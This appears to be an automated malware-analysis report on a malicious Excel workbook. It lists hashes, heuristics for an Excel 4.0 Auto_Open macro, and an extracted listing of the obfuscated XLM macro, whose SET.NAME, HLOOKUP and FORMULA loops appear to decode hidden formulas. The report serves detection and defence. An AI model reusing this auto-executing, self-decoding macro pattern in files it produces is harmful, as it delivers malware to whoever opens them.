Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3381093df4809df6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:15 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: bab4268b676753ced0122e384d434273 SHA-1: f932a0348d8c71658df459bbf34ccfb943620846 SHA-256: 3381093df4809df6a18d0d392d96801a1231a73aea4f033816e9374422c69c7a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6612 bytes
SHA-256: b9c76fd7d08a61aedabe9d329c2fb9a8559103ffce03e47ab5cb749efffb1091
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TEQLZujDSR
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I182 
' 0018     27 LABEL : Cell Value, String Constant - BYZWnTXWBuoX len=0 
' 0018     27 LABEL : Cell Value, String Constant - DjwQXprvLyYh len=0 
' 0018     20 LABEL : Cell Value, String Constant - dzzDz len=0 
' 0018     23 LABEL : Cell Value, String Constant - FVcDoMWl len=0 
' 0018     26 LABEL : Cell Value, String Constant - FxdsOtZdAMK len=0 
' 0018     21 LABEL : Cell Value, String Constant - GJMzkR len=0 
' 0018     23 LABEL : Cell Value, String Constant - hhCczmOv len=0 
' 0018     23 LABEL : Cell Value, String Constant - IszHkrwv len=0 
' 0018     26 LABEL : Cell Value, String Constant - lfveLOGKmRh len=0 
' 0018     25 LABEL : Cell Value, String Constant - LgcBtHcgzv len=0 
' 0018     23 LABEL : Cell Value, String Constant - lkEGlmWI len=0 
' 0018     23 LABEL : Cell Value, String Constant - MUOQdNfN len=0 
' 0018     26 LABEL : Cell Value, String Constant - NKnLHQvsTfU len=0 
' 0018     24 LABEL : Cell Value, String Constant - pmhQhWfig len=0 
' 0018     22 LABEL : Cell Value, String Constant - PUxtDIk len=0 
' 0018     22 LABEL : Cell Value, String Constant - toSaEhN len=0 
' 0018     24 LABEL : Cell Value, String Constant - TVIXgWecD len=0 
' 0018     21 LABEL : Cell Value, String Constant - uZEbcn len=0 
' 0018     21 LABEL : Cell Value, String Constant - VWTZwD len=0 
' 0018     23 LABEL : Cell Value, String Constant - YtIYhWFL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TEQLZujDSR,I83,"SET.NAME("NKnLHQvsTfU",VALUE("0"))",""
'  TEQLZujDSR,I88,"SET.NAME("GJMzkR",NKnLHQvsTfU)",""
'  TEQLZujDSR,I93,"SET.NAME("TVIXgWecD",NKnLHQvsTfU)",""
'  TEQLZujDSR,I98,"SET.NAME("pmhQhWfig",COUNTA(toSaEhN))",""
'  TEQLZujDSR,I102,"SET.NAME("FVcDoMWl",COUNTA(uZEbcn))",""
'  TEQLZujDSR,I105,[],""
'  TEQLZujDSR,I110,"SET.NAME("VWTZwD","")",""
'  TEQLZujDSR,I115,"GJMzkR",""
'  TEQLZujDSR,I119,"SET.NAME("PUxtDIk",HLOOKUP("*",toSaEhN,GJMzkR,FALSE))",""
'  TEQLZujDSR,I122,"DjwQXprvLyYh",""
'  TEQLZujDSR,I127,"SET.NAME("hhCczmOv",NKnLHQvsTfU)",""
'  TEQLZujDSR,I129,[],""
'  TEQLZujDSR,I131,"hhCczmOv",""
'  TEQLZujDSR,I133,"lkEGlmWI",""
'  TEQLZujDSR,I136,"YtIYhWFL",""
'  TEQLZujDSR,I140,"IszHkrwv",""
'  TEQLZujDSR,I143,"SET.NAME("MUOQdNfN",VALUE(HLOOKUP("*",uZEbcn,IszHkrwv,FALSE)))",""
'  TEQLZujDSR,I147,"lfveLOGKmRh",""
'  TEQLZujDSR,I152,"VWTZwD",""
'  TEQLZujDSR,I157,"TVIXgWecD",""
'  TEQLZujDSR,I160,NEXT(),""
'  TEQLZujDSR,I162,"FxdsOtZdAMK",""
'  TEQLZujDSR,I165,"SET.NAME("f",INT(T(FORMULA(T(VWTZwD)&"",""&T(FxdsOtZdAMK)))))",""
'  TEQLZujDSR,I170,"BYZWnTXWBuoX",""
'  TEQLZujDSR,I174,NEXT(),""
'  TEQLZujDSR,I178,RETURN(),""
'  TEQLZujDSR,I205,"SET.NAME("LgcBtHcgzv",I83)",""
'  TEQLZujDSR,I210,"toSaEhN",""
'  TEQLZujDSR,I214,"SET.NAME("uZEbcn",R92C13)",""
'  TEQLZujDSR,I219,"SET.NAME("BYZWnTXWBuoX",226)",""
'  TEQLZujDSR,I223,"SET.NAME("dzzDz",9)",""
'  TEQLZujDSR,I225,LgcBtHcgzv(),""
'  TEQLZujDSR,I226,HALT(),""

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